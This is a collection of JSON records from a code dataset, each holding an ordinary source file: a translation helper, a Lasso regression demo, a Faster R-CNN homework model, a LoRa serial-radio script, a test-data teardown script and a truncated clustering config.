+{"seq_id":"246237829","text":"\"\"\"Exports function: google_translate\"\"\"\n\nfrom google.cloud import translate\nimport json\n\n\ndef google_translate(input_text, *, source_lang, target_lang):\n    # Instantiates a client\n    client = translate.Client()\n\n    # The target language\n    target = target_lang\n\n    # handling exceptions - bad translations by Google\n    translations_exceptions_es = {\"dirección\": \"direction\"}\n\n    translations_exceptions = {\"es\": translations_exceptions_es}\n\n    if translations_exceptions.get(source_lang):\n        translation = translations_exceptions.get(source_lang).get(input_text)\n        if translation:\n            return json.dumps(translation)\n\n    translation = client.translate(\n        input_text,\n        target_language=target,\n        source_language=source_lang)\n\n    return json.dumps(translation[\"translatedText\"], ensure_ascii=False)\n","sub_path":"lalang/helpers/gtranslate.py","file_name":"gtranslate.py","file_ext":"py","file_size_in_byte":845,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"495786012","text":"import mglearn\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nfrom sklearn.linear_model import Lasso\nfrom sklearn.model_selection import train_test_split\n\nX, y = mglearn.datasets.load_extended_boston()\nX_train, X_test, y_train, y_test = train_test_split(X, y, random_state=0)\n\nlasso = Lasso().fit(X_train, y_train)\n\nprint('Правильность на обучающем наборе: {:.2f}'.\\\n      format(lasso.score(X_train, y_train)))\nprint('Правильность на контрольном наборе: {:.2f}'.\\\n      format(lasso.score(X_test, y_test)))\nprint('Количество использованных признаков: {}'.\\\n      format(np.sum(lasso.coef_ != 0)))\n\nlasso001 = Lasso(alpha=0.01, max_iter=100000).fit(X_train, y_train)\n\nprint('Правильность на обучающем наборе (alpha=0.01): {:.2f}'.\\\n      format(lasso001.score(X_train, y_train)))\nprint('Правильность на контрольном наборе(alpha=0.01): {:.2f}'.\\\n      format(lasso001.score(X_test, y_test)))\nprint('Количество использованных признаков(alpha=0.01): {}'.\\\n      format(np.sum(lasso001.coef_ != 0)))\n\nlasso00001 = Lasso(alpha=0.0001, max_iter=100000).fit(X_train, y_train)\n\nprint('Правильность на обучающем наборе (alpha=0.0001): {:.2f}'.\\\n      format(lasso00001.score(X_train, y_train)))\nprint('Правильность на контрольном наборе(alpha=0.0001): {:.2f}'.\\\n      format(lasso00001.score(X_test, y_test)))\nprint('Количество использованных признаков(alpha=0.0001): {}'.\\\n      format(np.sum(lasso00001.coef_ != 0)))\n\n\nplt.plot(lasso.coef_, 's', label='Лассо alpha=1')\nplt.plot(lasso001.coef_, '^', label='Лассо alpha=0.01')\nplt.plot(lasso00001.coef_, 'v', label='Лассо alpha=0.0001')\n\nplt.legend(ncol=2, loc=(0, 1.05))\nplt.ylim(-25, 25)\nplt.xlabel('Индекс коэффициента')\nplt.ylabel('Оценка коэффициента')","sub_path":"2-lasso_regression_boston.py","file_name":"2-lasso_regression_boston.py","file_ext":"py","file_size_in_byte":2033,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"375435006","text":"# Faster RCNN with Res net as the base net \nimport pdb \nimport torch\nimport torch.nn as nn \nimport torch.nn.functional as F \nfrom torch.autograd import Variable \nimport torch.nn.init as init\nimport time  \nfrom copy import deepcopy \ntry:\n  from .spatial_transformer import * \nexcept:\n  from __init__ import * \n\nbasenet_cfg = [(5, 5, 32), \n       ('M', 2, 2, 0), \n       (5, 5, 64), \n       ('M', 2, 2, 0),\n       (5, 5, 128), \n       ('M', 2, 2, 0), \n       (3, 3, 256)]\n\nclass_proposal_cfg = [(3, 3, 256), \n                      (1, 1, 1)]\n\nbox_regression_cfg = [(1, 1, 3)]\n\nobject_classification_cfg = [('F', 4096, 256)]\n\ndef truncated_normal_init(m):\n  # sample u1:\n  size = m.weight.size()\n  u1 = torch.rand(size)*(1-np.exp(-2)) + np.exp(-2)\n  # sample u2:\n  u2 = torch.rand(size)\n  # sample the truncated gaussian ~TN(0,1,[-2,2]):\n  z = torch.sqrt(-2*log(u1)) * torch.cos(2*np.pi*u2)\n  m.weight.data = z\n\n\ndef v2_truncated_normal_init(m):\n  size = m.weight.size()\n  m.weight.data = torch.fmod(torch.rand(size),2)\n \ndef get_rep_field(n_in, j_in, r_in, start_in, kernel_size, stride, padding):\n  n_out = (n_in + 2*padding - kernel_size)/stride + 1 \n  j_out = j_in * stride \n  r_out = r_in + (kernel_size - 1)*j_in \n  start_out = start_in + ((kernel_size-1)/2 - padding)*j_in \n  return n_out, j_out, r_out, start_out \n\ndef init_fasterrcnn_params(net, method_name='xavier' ):\n  # Initialize weights for classnet and basenet \n  print('\\n****basenet:')\n  #net.basenet.apply(init_weight_params)  \n  init_weight_params(net.basenet, method_name)\n  print('\\n****classnet:')\n  \n  #net.classnet.apply(init_weight_params)\n  init_weight_params(net.classnet, method_name) \n  # Initialize weights for boxregressionnet \n  # (Initialize bias for convolutional layer) \n  print('\\n***regnet:')\n  for m in net.regressionnet.modules():\n    if isinstance(m, nn.Conv2d):\n      print('==> layer', m)\n      m.bias.data = torch.FloatTensor([24,24,32])\n  \n  print('\\n****Objectclassificationnet:')\n  init_weight_params(net.objectclassificationnet, method_name) \n\ndef init_weight_params(net, method_name='xavier'):\n  methods = {'xavier': init.xavier_normal, 'v2_truncated_normal':v2_truncated_normal_init, 'truncated_normal':truncated_normal_init}\n  constant_val = 0.1\n  for m in net.modules():\n    print('==> layer', m)\n    if isinstance(m, nn.Conv2d):\n      print('Initialize conv2d')\n      methods[method_name](m.weight.data)\n      if m.bias is not None:  \n        # if bias has only one dimension, just initialize using normal distribution\n        if m.bias.data.ndimension() < 2:\n          #m.bias.data.normal_(0,0.01)\n          init.constant(m.bias.data, constant_val) \n        else: \n          #methods[method_name](m.bias.data)\n          init.constant(m.bias.data, constant_val)\n    if isinstance(m, nn.Linear):\n      methods[method_name](m.weight.data)\n      if m.bias is not None:  \n        # if bias has only one dimension, just initialize using normal distribution\n        if m.bias.data.ndimension() < 2:\n          #m.bias.data.normal_(0,0.01)\n          init.constant(m.bias.data, constant_val) \n        else: \n          #methods[method_name](m.bias.data)\n          init.constant(m.bias.data, constant_val)\n      \n\nclass ObjectClassificationNet680(nn.Module):\n  \"\"\"Classify object in 10 classes (Cifar10)\"\"\"\n  def __init__(self, input_channels=object_classification_cfg[0][1]):\n    super(ObjectClassificationNet680, self).__init__()\n    output_channels = object_classification_cfg[0][2]\n    self.full1 = nn.Linear(input_channels, output_channels, bias=True) \n    self.bn1 = nn.BatchNorm1d(output_channels)\n    self.linear = nn.Linear(output_channels, 10, bias=False) \n    self.LogSoftmax = nn.LogSoftmax() \n  \n  def forward(self, x):\n    self.out_full1 = F.relu(self.bn1(self.full1(x))) \n  \n    self.digits = self.linear(self.out_full1) \n    self.out_log_softmax = self.LogSoftmax(self.digits) \n    \n    return {'out_full':self.out_full1, \n            'out':self.out_log_softmax}\n\n\nclass BoxRegressionNet680(nn.Module):\n  \"\"\"Regress the box. \n     Input: features obtained from intermediate layer (256 x d) \n     Output: 4k coordinates\"\"\"\n  def __init__(self, input_channels=3, out_config=None):\n    super(BoxRegressionNet680, self).__init__() \n    n_in, j_in, r_in, start_in = out_config \n    self.cfg = box_regression_cfg[0] \n    self.conv = nn.Conv2d(input_channels, self.cfg[2], kernel_size=(self.cfg[0], self.cfg[1]), stride=1, padding=0, bias=True)\n    n_in, j_in, r_in, start_in = get_rep_field(n_in, j_in, r_in, start_in, kernel_size=self.cfg[0], stride=1, padding=0)\n    print('==>conv', n_in, j_in, r_in, start_in ) \n\n    self.out_config = (n_in, j_in, r_in, start_in)\n\n\n  def forward(self, x):\n    self.out_conv = self.conv(x)\n    self.out = self.out_conv.view(self.out_conv.size(0), self.cfg[2], -1) # N x 3 x 36 \n    return {'out': self.out}\n\nclass ClassProposalNet680(nn.Module):\n  \"\"\"Input is the features obtained from a CNN (without Fully-connected layers).\n     Output: N x (6x6) for given input images and network in cis680 HW3 part 2\"\"\"\n  def __init__(self, input_channels=3, out_config=None):\n    super(ClassProposalNet680, self).__init__() \n    n_in, j_in, r_in, start_in = out_config \n    c1_cfg = class_proposal_cfg[0]\n    c1_padding = (int(c1_cfg[0]/2), int(c1_cfg[1]/2))\n    c1_kernel = (c1_cfg[0], c1_cfg[1]) \n    self.conv1 = nn.Conv2d(input_channels,c1_cfg[2], kernel_size=c1_kernel, stride=1, padding=c1_padding, bias=False)\n    # Compute receptive field after conv layer\n    n_in, j_in, r_in, start_in = get_rep_field(n_in, j_in, r_in, start_in, kernel_size=c1_kernel[0], stride=1, padding=c1_padding[0])\n    print('==>conv1', n_in, j_in, r_in, start_in )\n    self.out_intermediate_config =  (n_in, j_in, r_in, start_in) # out from intermediate \n    input_channels = c1_cfg[2] \n    self.bn1 = nn.BatchNorm2d(c1_cfg[2]) \n    \n    c2_cfg = class_proposal_cfg[1]\n    c2_padding = (int(c2_cfg[0]/2), int(c2_cfg[1]/2))\n    c2_kernel = (c2_cfg[0], c2_cfg[1]) \n    self.conv2 = nn.Conv2d(input_channels,c2_cfg[2], kernel_size=c2_kernel, stride=1, padding=c2_padding, bias=True)\n    n_in, j_in, r_in, start_in = get_rep_field(n_in, j_in, r_in, start_in, kernel_size=c2_kernel[0], stride=1, padding=c2_padding[0])\n    print('==>conv2', n_in, j_in, r_in, start_in )\n    self.out_config = (n_in, j_in, r_in, start_in) # out after two conv \n\n  def forward(self,x):\n    self.out_conv1 = F.relu(self.bn1(self.conv1(x)))\n    self.out_conv2 = torch.squeeze(self.conv2(self.out_conv1))\n    # Reshape to n x 36  \n    self.out = self.out_conv2.view(self.out_conv2.size(0),-1)   \n    return {'intermediate':self.out_conv1,\n            'conv2':self.out_conv2, \n            'out': self.out_conv2} \n    \nclass res_block_3(nn.Module):\n  \"\"\"Residual block with kernel of size 3x3\"\"\"\n  def __init__(self, input_channels, output_channels, out_config=None):\n    super(res_block_3,self).__init__()\n    n_in, j_in, r_in, start_in = out_config\n    self.brach_3 = nn.Sequential(nn.Conv2d(input_channels, output_channels, kernel_size=3, stride=1, padding=1, bias=False), \n                    nn.BatchNorm2d(output_channels), \n                    nn.ReLU(inplace=True),\n                    nn.Conv2d(output_channels, output_channels, kernel_size=3, stride=1, padding=1,bias=False),  \n                    nn.BatchNorm2d(output_channels)      \n                ) \n\n    self.shortcut = nn.Sequential(\n                    nn.Conv2d(input_channels, output_channels, kernel_size=1, stride=1, padding=0, bias=False), \n                    nn.BatchNorm2d(output_channels)  \n                   )\n    n_in, j_in, r_in, start_in = get_rep_field(n_in, j_in, r_in, start_in, kernel_size=3, stride=1, padding=1)\n    print('==>Res block conv1', n_in, j_in, r_in, start_in )\n    n_in, j_in, r_in, start_in = get_rep_field(n_in, j_in, r_in, start_in, kernel_size=3, stride=1, padding=1)\n    print('==>Res block conv2', n_in, j_in, r_in, start_in )\n    self.out_config = (n_in, j_in, r_in, start_in) \n\n  def forward(self,x):\n    main = self.brach_3(x) \n    shortcut = self.shortcut(x) \n    out = main + shortcut \n    out = F.relu(out)\n    return out \n\n\nclass BaseNet680(nn.Module):\n  def __init__(self, input_channels=3, img_size=48):\n    super(BaseNet680,self).__init__() \n    n_in, j_in, r_in, start_in = img_size, 1, 1, 0.5 \n    out_config =  (n_in, j_in, r_in, start_in)\n    # Conv1, bn1 and pool1 \n    c1_cfg = basenet_cfg[0]\n    c1_padding = (int(c1_cfg[0]/2), int(c1_cfg[1]/2))\n    c1_kernel = (c1_cfg[0], c1_cfg[1]) \n    self.conv1 = res_block_3(input_channels,c1_cfg[2], out_config=out_config) \n    n_in, j_in, r_in, start_in = get_rep_field(n_in, j_in, r_in, start_in, kernel_size=c1_kernel[0], stride=1, padding=c1_padding[0])\n    out_config =  (n_in, j_in, r_in, start_in)\n    print('==>conv1', n_in, j_in, r_in, start_in )\n    input_channels = c1_cfg[2] \n    \n    \n    p1_cfg = basenet_cfg[1]\n    self.pool1 = nn.MaxPool2d(kernel_size=p1_cfg[1], stride=p1_cfg[2], padding=p1_cfg[3])    \n    n_in, j_in, r_in, start_in = get_rep_field(n_in, j_in, r_in, start_in, kernel_size=p1_cfg[1], stride=p1_cfg[2], padding=p1_cfg[3])\n    print('==>Pool1', n_in, j_in, r_in, start_in )\n\n    # Conv2, bn2 and pool2 \n    c2_cfg = basenet_cfg[2]\n    c2_padding = (int(c2_cfg[0]/2), int(c2_cfg[1]/2)) \n    c2_kernel = (c2_cfg[0], c2_cfg[1]) \n\n    self.conv2 = res_block_3(input_channels,c2_cfg[2], out_config=out_config) \n    n_in, j_in, r_in, start_in = get_rep_field(n_in, j_in, r_in, start_in, kernel_size=c1_kernel[0], stride=1, padding=c1_padding[0])\n    out_config =  (n_in, j_in, r_in, start_in)\n    print('==>Conv2', n_in, j_in, r_in, start_in )\n    input_channels = c2_cfg[2] \n    \n    \n    p2_cfg = basenet_cfg[3]\n    self.pool2 = nn.MaxPool2d(kernel_size=p2_cfg[1], stride=p2_cfg[2], padding=p2_cfg[3])    \n    n_in, j_in, r_in, start_in = get_rep_field(n_in, j_in, r_in, start_in, kernel_size=p2_cfg[1], stride=p2_cfg[2], padding=p2_cfg[3])\n    print('==>Pool2', n_in, j_in, r_in, start_in )\n    # Conv3, bn3 and pool3 \n    c3_cfg = basenet_cfg[4]\n    c3_padding = (int(c3_cfg[0]/2), int(c3_cfg[1]/2))\n    c3_kernel = (c3_cfg[0], c3_cfg[1]) \n\n    self.conv3 = res_block_3(input_channels,c3_cfg[2], out_config=out_config) \n    n_in, j_in, r_in, start_in = get_rep_field(n_in, j_in, r_in, start_in, kernel_size=c1_kernel[0], stride=1, padding=c1_padding[0])\n    out_config =  (n_in, j_in, r_in, start_in)\n    print('==>Conv3', n_in, j_in, r_in, start_in )    \n    input_channels = c3_cfg[2] \n    \n    \n    p3_cfg = basenet_cfg[5]\n    self.pool3 = nn.MaxPool2d(kernel_size=p3_cfg[1], stride=p3_cfg[2], padding=p3_cfg[3])\n    n_in, j_in, r_in, start_in = get_rep_field(n_in, j_in, r_in, start_in, kernel_size=p3_cfg[1], stride=p3_cfg[2], padding=p3_cfg[3])\n    print('==>Pool3', n_in, j_in, r_in, start_in )    \n    # Conv4 and bn4 \n    c4_cfg = basenet_cfg[6] \n    c4_padding = (int(c4_cfg[0]/2), int(c4_cfg[1]/2)) \n    c4_kernel = (c4_cfg[0], c4_cfg[1]) \n    self.conv4 = nn.Conv2d(input_channels,c4_cfg[2],kernel_size=c4_kernel, stride=1, padding=c4_padding, bias=False)\n    n_in, j_in, r_in, start_in = get_rep_field(n_in, j_in, r_in, start_in, kernel_size=c4_kernel[1], stride=1, padding=c4_padding[0])\n    print('==>Conv4', n_in, j_in, r_in, start_in )   \n\n    self.bn4 = nn.BatchNorm2d(c4_cfg[2])\n    self.out_config =  (n_in, j_in, r_in, start_in) \n\n  def forward(self, x):\n    self.out_conv1 = self.conv1(x)\n    self.out_pool1 = self.pool1(self.out_conv1)\n    self.out_conv2 = self.conv2(self.out_pool1)\n    self.out_pool2 = self.pool2(self.out_conv2)\n    self.out_conv3 = self.conv3(self.out_pool2)\n    self.out_pool3 = self.pool3(self.out_conv3)\n    self.out_conv4 = F.relu(self.bn4(self.conv4(self.out_pool3))) \n    return {'conv1': self.out_conv1, \n            'conv2': self.out_conv2, \n            'conv3': self.out_conv3, \n            'out': self.out_conv4  \n           }\nclass Faster_RCNN_res_net680(nn.Module):\n  def __init__(self, in_channels=3):\n    super(Faster_RCNN_res_net680, self).__init__() \n    \n    self.basenet = BaseNet680(in_channels)\n    self.out_basenet_config = self.basenet.out_config \n    \n    in_channels = basenet_cfg[6][2]  \n    self.classnet = ClassProposalNet680(in_channels, self.out_basenet_config)\n    self.out_intermediate_config = self.classnet.out_intermediate_config \n    \n    in_channels = class_proposal_cfg[0][2] \n    self.regressionnet = BoxRegressionNet680(in_channels, self.out_intermediate_config)\n    self.out_regressionnet_config = self.regressionnet.out_config \n    #self.regressionnet.apply(init_box_regression_params) \n  \n    in_channels = object_classification_cfg[0][1]\n    self.objectclassificationnet = ObjectClassificationNet680(in_channels) \n  \n\n    print('===> Basenet out config:', self.out_basenet_config)\n    print('===> Classnet intermediate out config:', self.out_intermediate_config)\n    print('===> Regressionnet out config:', self.out_regressionnet_config)\n    \n\n  def forward(self, x, gt_theta =None):\n    self.out_basenet = self.basenet(x)\n    self.out_classnet = self.classnet(self.out_basenet['out'])\n    self.out_regressionnet = self.regressionnet(self.out_classnet['intermediate'])     \n    \n    # Apply spatial transformer to conv4 (output) of basenet \n    # Output of the object classification net is computed in main function since it depends \n    # on the output of predicted theta  \n\n    # Test \n    batch_size = x.size(0) \n    isobject_outputs = self.out_classnet['out'].view(batch_size, -1) # N x 36 \n    _, pos_box_index = torch.max(isobject_outputs, dim=1, keepdim=True)\n    permuted_reg_outputs = self.out_regressionnet['out'].permute(2,0,1)\n    batch_indices = torch.LongTensor((range(batch_size))) \n    \n    if x.is_cuda :\n      batch_indices = batch_indices.cuda()   \n    pred_boxes = permuted_reg_outputs[pos_box_index.data.view(-1), batch_indices, :]\n    pred_theta = box_proposal_to_theta(pred_boxes) \n     \n    \n    # TODO: use gt theta instead of predicted one to separate debugging \n    if gt_theta is not None:\n      pred_theta = gt_theta \n      print('\\n====> Using Ground truth of theta.....') \n\n    # Transform features from conv4 \n    self.out_conv4 = self.out_basenet['out'] # N x 256 x 6 x 6 \n    tf_out_conv4 = torch_spatial_transformer(self.out_conv4, pred_theta, (4, 4)) # 4 because 48/32 = 1.5 so 6 -> 4  ? \n    # Log softmax of object classification \n    self.out_log_softmax =  self.objectclassificationnet(tf_out_conv4.view(batch_size, -1))['out'] \n\n    \n\n \n    return {'cls':self.out_classnet, \n            'reg':self.out_regressionnet,\n            'base':self.out_basenet,\n            'theta':pred_theta, \n            'object':self.out_log_softmax} \n\ndef test_separate():\n  basenet = BaseNet680()\n  x = torch.randn(2,3,48,48)\n  out = basenet(Variable(x)) \n  print('conv1 size:', out['conv1'].size())\n  print('conv2 size:', out['conv2'].size())\n  print('conv3 size:', out['conv3'].size())\n  print('conv4 size:', out['out'].size())\n  \n  out_basenet_channels = out['conv4'].size(1) \n  classnet = ClassProposalNet680(out_basenet_channels)\n \n  out = out['conv4'] \n  out = classnet(out) \n  print('conv1 size:', out['intermediate'].size())\n  print('conv2 size:', out['conv2'].size())\n  print('out class size:', out['out'].size())\n\ndef test_faster_rcnn_net():\n  fasterrcnnnet = Faster_RCNN_res_net680()\n  # Initialize params for fasterrcnnnet \n  print('\\n===> Initializing params for fasterrcnnnet...') \n  init_fasterrcnn_params(fasterrcnnnet)\n  \n  x = torch.randn(2,3,48,48)\n  out = fasterrcnnnet(Variable(x))\n  \n  regressionnet = fasterrcnnnet.regressionnet\n  for m in regressionnet.modules():\n    if isinstance(m, nn.Conv2d):\n      print('Bias:', m.bias.data) \n  print('class proposal out size:', out['cls']['out'].size())\n  print('intermediate size:', out['cls']['intermediate'].size())\n  print('Reg out size:', out['reg']['out'].size())\n  print('Basenet output size (conv4):', out['base']['out'].size())\nif __name__==\"__main__\":\n  test_faster_rcnn_net() \n  #test() \n","sub_path":"HW3/submission/code/part2/models/faster_rcnn_res_cis680.py","file_name":"faster_rcnn_res_cis680.py","file_ext":"py","file_size_in_byte":15947,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"289357915","text":"#!/usr/bin/python\n# -*- coding: UTF-8 -*-\n\n#\n#    this is an UART-LoRa device and thers is an firmware on Module\n#    users can transfer or receive the data directly by UART and dont\n#    need to set parameters like coderate,spread factor,etc.\n#    |============================================ |\n#    |   It does not suport LoRaWAN protocol !!!   |\n#    | ============================================|\n#\n#    This script is mainly for Raspberry Pi 3B+, 4B, and Zero series\n#    Since PC/Laptop does not have GPIO to control HAT, it should be configured by\n#    GUI and while setting the jumpers,\n#    Please refer to another script pc_node_main.py\n#\n\nimport time\nimport sys\nimport serial\nimport pandas as pd\nfrom time import strftime\n\n\nclass sx126x:\n\n    M0 = 22\n    M1 = 27\n    # if the header is 0xC0, then the LoRa register settings dont lost when it poweroff, and 0xC2 will be lost.\n    # cfg_reg = [0xC0,0x00,0x09,0x00,0x00,0x00,0x62,0x00,0x17,0x00,0x00,0x00]\n    cfg_reg = [0xC2,0x00,0x09,0x00,0x00,0x00,0x62,0x00,0x17,0x00,0x00,0x00]\n    get_reg = bytes(12)\n    rssi = False\n    addr = 65535\n    serial_n = \"\"\n    send_to = 0\n    addr_temp = 65535\n    freq = 868\n    power = 22\n    air_speed =2400\n\n    SX126X_UART_BAUDRATE_1200 = 0x00\n    SX126X_UART_BAUDRATE_2400 = 0x20\n    SX126X_UART_BAUDRATE_4800 = 0x40\n    SX126X_UART_BAUDRATE_9600 = 0x60\n    SX126X_UART_BAUDRATE_19200 = 0x80\n    SX126X_UART_BAUDRATE_38400 = 0xA0\n    SX126X_UART_BAUDRATE_57600 = 0xC0\n    SX126X_UART_BAUDRATE_115200 = 0xE0\n\n    SX126X_AIR_SPEED_300bps = 0x00\n    SX126X_AIR_SPEED_1200bps = 0x01\n    SX126X_AIR_SPEED_2400bps = 0x02\n    SX126X_AIR_SPEED_4800bps = 0x03\n    SX126X_AIR_SPEED_9600bps = 0x04\n    SX126X_AIR_SPEED_19200bps = 0x05\n    SX126X_AIR_SPEED_38400bps = 0x06\n    SX126X_AIR_SPEED_62500bps = 0x07\n\n    SX126X_PACKAGE_SIZE_240_BYTE = 0x00\n    SX126X_PACKAGE_SIZE_128_BYTE = 0x40\n    SX126X_PACKAGE_SIZE_64_BYTE = 0x80\n    SX126X_PACKAGE_SIZE_32_BYTE = 0xC0\n\n    SX126X_Power_22dBm = 0x00\n    SX126X_Power_17dBm = 0x01\n    SX126X_Power_13dBm = 0x02\n    SX126X_Power_10dBm = 0x03\n\n    def __init__(self,serial_num,freq,addr,power,rssi):\n        self.rssi = rssi\n        self.addr = addr\n        self.freq = freq\n        self.serial_n = serial_num\n        self.power = power\n        self.send_to = addr\n\n        # The hardware UART of Pi3B+,Pi4B is /dev/ttyS0\n        self.ser = serial.Serial(serial_num,9600)\n        self.ser.flushInput()\n\n    def air_speed_cal(self,airSpeed):\n        air_speed_c = {\n            1200:self.SX126X_AIR_SPEED_1200bps,\n            2400:self.SX126X_AIR_SPEED_2400bps,\n            4800:self.SX126X_AIR_SPEED_4800bps,\n            9600:self.SX126X_AIR_SPEED_9600bps,\n            19200:self.SX126X_AIR_SPEED_19200bps,\n            38400:self.SX126X_AIR_SPEED_38400bps,\n            62500:self.SX126X_AIR_SPEED_62500bps\n        }\n        return air_speed_c.get(airSpeed,None)\n\n    def power_cal(self,power):\n        power_c = {\n            22:self.SX126X_Power_22dBm,\n            17:self.SX126X_Power_17dBm,\n            13:self.SX126X_Power_13dBm,\n            10:self.SX126X_Power_10dBm\n        }\n        return power_c.get(power,None)\n\n    def buffer_size_cal(self,bufferSize):\n        buffer_size_c = {\n            240:self.SX126X_PACKAGE_SIZE_240_BYTE,\n            128:self.SX126X_PACKAGE_SIZE_128_BYTE,\n            64:self.SX126X_PACKAGE_SIZE_64_BYTE,\n            32:self.SX126X_PACKAGE_SIZE_32_BYTE\n        }\n        return buffer_size_c.get(bufferSize,None)\n\n\n    def send(self,data):\n        # add the node address ,and the node of address is 65535 can konw who send messages\n        l_addr = self.addr_temp & 0xff\n        h_addr = self.addr_temp >> 8 & 0xff\n\n        self.ser.write(bytes([h_addr,l_addr])+data.encode())\n        # if self.rssi == True:\n            # self.get_channel_rssi()\n        time.sleep(0.1)\n\n    def receive(self):\n        if self.ser.inWaiting() > 0:\n            time.sleep(0.2)\n            r_buff = \"\"\n            r_buff = self.ser.read(self.ser.inWaiting())\n            self.ser.flushInput()\n\n            print(\"receive message from address %d node \"%((r_buff[0]<<8)+r_buff[1]))\n            print(\"message is \"+str(r_buff[2:-1]))\n\n\n           # da = pd.read_csv('C:/Users/mithu/Documents/GitHub/LoRa/DEMO.csv')\n           # day = strftime(\"%d/%m/%Y at %I:%M:%S%p\")\n           # new_data = pd.Series([str(day),str((r_buff[0]<<8)+r_buff[1])], index= ['Time Rx','Time Tx'])\n           # da = da.append(new_data,ignore_index=True)\n           # da.to_csv('DEMO.csv',index=False)\n\n\n\n            # print the rssi\n            if self.rssi:\n                r, r1 = self.get_channel_rssi()\n                # print(\"return value: -{0}dBm\".format(256-r))\n                # print(\"return value: -{0}dBm\".format(256-r1))\n\n                data_holder = pd.read_csv('save_data_01.csv')\n                day = strftime(\"%d %m %Y at %I:%M:%S%p\")\n                new_data = pd.Series([str(day),str((r_buff[0]<<8)+r_buff[1]), str(-(256-r)),str(-(256-r1))], index= ['Time Rx','Node','Noise RSSI','Channel RSSI'])\n                data_holder = data_holder.append(new_data,ignore_index=True)\n                data_holder.to_csv('save_data_01.csv',index=False) \n\n            else:\n                pass\n                # print('\\x1b[2A',end='\\r')\n\n\n\n\n    def get_channel_rssi(self):\n        time.sleep(0.2)\n        self.ser.flushInput()\n        self.ser.write(bytes([0xC0,0xC1,0xC2,0xC3,0x00,0x02]))\n        time.sleep(0.5)\n        re_temp = bytes(5)\n        if self.ser.inWaiting() > 0:\n            time.sleep(0.1)\n            re_temp = self.ser.read(self.ser.inWaiting())\n        if re_temp[0] == 0xC1 and re_temp[1] == 0x00 and re_temp[2] == 0x02:\n            print(\"the current noise rssi value: -{0}dBm\".format(256-re_temp[3]))\n            # the packet rssi dont work now\n            print(\"the last receive packet rssi value: -{0}dBm\".format(256-re_temp[4]))\n            print(\"\",flush=True)\n        else:\n            # pass\n            print(\"receive rssi value fail\")\n            # print(\"receive rssi value fail: \",re_temp)\n\n        self.ser.flushInput()\n        return re_temp[3], re_temp[4]\n\n    def free_serial(self):\n        self.ser.close()\n    #def relay(self):\n    #def wor(self):\n    #def remote_config(self):\n\n\n#\n#    Need to disable the serial login shell and have to enable serial interface\n#    command `sudo raspi-config`\n#    More details: see https://github.com/MithunHub/LoRa/blob/main/Basic%20Instruction.md\n#\n#    When the LoRaHAT is attached to RPi, the M0 and M1 jumpers of HAT should be removed.\n#\n\n#   serial_num\n#       PiZero, Pi3B+, and Pi4B use \"/dev/ttyS0\"\n#\n#    Frequency is [850 to 930], or [410 to 493] MHz\n#\n#    address is 0 to 65535\n#        under the same frequence,if set 65535,the node can receive\n#        messages from another node of address is 0 to 65534 and similarly,\n#        the address 0 to 65534 of node can receive messages while\n#        the another note of address is 65535 sends.\n#        otherwise two node must be same the address and frequence\n#\n#    The tramsmit power is {10, 13, 17, and 22} dBm\n#\n#    RSSI (receive signal strength indicator) is {True or False}\n#        It will print the RSSI value when it receives each message\n#\n\nnode = sx126x(serial_num = \"COM3\",freq=433,addr=21,power=22,rssi=True)\n# node = sx126x(serial_num = \"COM8\",freq=868,addr=65535,power=22,rssi=True)\n\n\ndef send_deal():\n    get_rec = \"\"\n    print(\"\")\n    print(\"input a string such as Hello World,it will send `Hello World` to all node address is from 0 to 65535\",flush=True)\n    print(\"please input and press Enter key:\",end='',flush=True)\n    lines=sys.stdin.readlines()\n    node.send(lines)\n\ntry:\n    time.sleep(1)\n    print(\"Press Ctrl+C to exit\")\n\n    while True:\n        node.receive()\n\nexcept:\n    node.free_serial()\n    pass\n","sub_path":"Prog01/pc_main.py","file_name":"pc_main.py","file_ext":"py","file_size_in_byte":7807,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"282965770","text":"import base64, requests\nimport json, os\nfrom cryptography import encode_jwt\n\nUSER_URL = 'http://ibm.com/user/Frank'\nSIGNATURE_PUBLIC_KEY = 'our little secret'\nencoded_jwt = encode_jwt({'user':USER_URL})\nAUTH_HEADER = { 'Cookie' : 'SSSESSIONID=%s' % encoded_jwt }\n\nDATASERVER_HOSTNAME = 'localhost:3001'\nif 'SERVICE_HOSTNAME' in os.environ:\n    DATASERVER_HOSTNAME = os.environ['SERVICE_HOSTNAME']\nTS_HOSTNAME = 'testsite.%s' % DATASERVER_HOSTNAME\n\nts_ac_app_url = 'http://%s/ac' % TS_HOSTNAME\nts_mt_app_url = 'http://%s/mt' % TS_HOSTNAME\nts_cat_app_url = 'http://%s/cat' % TS_HOSTNAME\n\ndef run():\n    requests.delete(ts_ac_app_url, headers=AUTH_HEADER)\n    requests.delete(ts_mt_app_url, headers=AUTH_HEADER)\n    requests.delete(ts_cat_app_url, headers=AUTH_HEADER)\n\nif __name__ == '__main__':\n    run()\n","sub_path":"setupshop/test/delete_testsite_data.py","file_name":"delete_testsite_data.py","file_ext":"py","file_size_in_byte":804,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"409474996","text":"import os.path as osp\nfrom mmcv import Config\nfrom utils import rm_suffix\n\n# data locations\nprefix = './data'\ntest_name = 'part1_test'\nknn = 160\nknn_method = 'faiss'\nth_sim = 0.  # cut edges with similarity smaller than th_sim\n\n# gcn_v configs\n_work_dir = 'work_dir'\nckpt_name = 'pretrained_gcn_v_ms1m'\ngcnv_cfg = './vegcn/configs/cfg_test_gcnv_ms1m.py'\ngcnv_cfg_name = rm_suffix(osp.basename(gcnv_cfg))\ngcnv_cfg = Config.fromfile(gcnv_cfg)\n\nuse_gcn_feat = True\ngcnv_prefix = '{}/{}/{}/{}_gcnv_k_{}_th_{}'.format(prefix, _work_dir,\n                                                   gcnv_cfg_name, test_name,\n                                                   gcnv_cfg.knn,\n                                                   gcnv_cfg.th_sim)\nif use_gcn_feat:\n    gcnv_nhid = gcnv_cfg.model.kwargs.nhid\n    feat_path = osp.join(gcnv_prefix, 'features', '{}.bin'.format(ckpt_name))\nelse:\n    gcnv_nhid = gcnv_cfg.model.kwargs.feature_dim\n    feat_path = osp.join(prefix, 'features', '{}.bin'.format(test_name))\n\n# testing args\nmax_conn = 1\ntau = 